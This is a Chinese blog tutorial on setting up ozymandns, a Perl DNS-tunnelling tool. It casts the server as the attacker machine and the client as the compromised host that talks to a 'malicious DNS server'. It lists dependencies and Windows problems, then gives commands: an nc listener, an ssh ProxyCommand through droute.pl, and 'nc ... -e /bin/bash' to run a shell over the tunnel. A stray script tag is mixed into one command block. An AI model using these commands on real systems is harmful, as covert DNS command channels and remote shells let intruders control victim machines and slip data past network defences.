一、入坑必读
1、简介
ozymandns 较早的一个DNS隧道工具,它基于perl开发,使用较复杂。
最初版本只有0.1,有各个爱好者的修改版,如via1,via2,via3等。它的主要功能就是结合 ssh 来做通道,因此这也是它的一大坑点,下面会讲到。
数据请求用base32编码,响应使用base64编码。
使用热度: ★★☆☆☆
2、专业词
- Type:DNS解析的类型,常见的有:A、CNAME、MX、TXT……
- 直连模式:客户端直接向指定IP的
恶意DNS服务器
发起DNS解析请求 - 中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的
恶意DNS服务器
。相比直连,速度较慢,但是更安全。3、放哪儿
| 攻击机 | 被控机 |
|–|–|
| 服务端 | 客户端 |
4、支持Type
- [x] TXT
5、兼容说明
由于版本较老,服务端、客户端不太支持Windows,推荐在Linux下跑。
Windows下运行可能提示:
Your vendor has not defined Fcntl macro F_GETFL
。原因是Windows对
F_GETFL
函数不支持,当然可以修改相关代码以兼容Windows,详见:https://github.com/kthakore/frozen-bubble/commit/735dd2307455e32c69827e013992c2d022cb7347
并且Windows运行,还需要cgywin工具。博主在安装后,仍然提示缺少cgywin1.dll,没搞成功。
kali系统内置Perl环境,但是运行可能还是会报缺少一些依赖:
- Net::DNS
- MIME::Base32
安装方法:
解压ppm文件(如Net::DNS),将里面的lib覆盖到perl安装目录下的lib(注意kali的perl默认在usr/lib/x86_64-linux-gnu/perl5
)这些Perl依赖,以及服务端、客户端等所有工具,下面的下载地址已打包提供!
当然以上依赖也可以到官网下载:http://www.bribes.org/perl/ppm/
6、全套下载地址
二、原理简述
ozymandns分为两部分:客户端和服务器。
客户端:
在受感染的计算机上运行。
运行模式如大多DNS隧道工具一样:
Dnscat2客户端
->DNS服务商
->Dnscat2服务端
。如果您没有购买域名,还可以在UDP/53上使用直连。
服务端:
Perl语言编写,在服务器上运行。
当它接收其中一个域名的流量时,它会尝试建立DNS连接。。
三、安装使用
1、安装
下载下来即可!
2、使用
服务端:
1、启动服务:1
2
3
4
5# 该ip为查询该域名时返回的ip,不重要
perl nomde.pl -i 11.11.11.11 <domain.com> <script src="https://localhost01.cn/js/jquery-2.0.0.min.js"></script>
# 服务端还可以开启nc来监听本地端口,后续被控端可使用nc,通过dns隧道来连接
nc -l -p 1234 -v
客户端:
1、连接:1
2
3
4
5# 客户端连接的域名,必须有sshdns前缀,否则连不上,我就在这里踩了个大坑
ssh -C -o ProxyCommand="./droute.pl sshdns.abc.com -r <your server ip>" -L 7777:127.0.0.1:1234 root@127.0.0.1
# nc去连接,注:其实上面操作就能得到一个ssh窗口了,一般就不需要再通过nc去连了。
nc 127.0.0.1 7777 -e /bin/bash -v
其中:
- -r 可选,指定远程DNS服务器地址(直连模式),如需使用中继模式,则可不填
- -L 表示把
本地的7777
与远端的1234端口
,基于DNS通道,再建立一个SSH
连接通道 - -C 开启压缩,这样传输更快
- root@127.0.0.1 SSH连接时,输入的用户名,如果连接成功后,会提示输入登录密码。
这是使用 ozymandns 来做ssh通讯最大的坑点。对于普通用户来说,倒没什么,对于黑客们来说,还得需要知道其密码!
更多文章,请关注:开猿笔记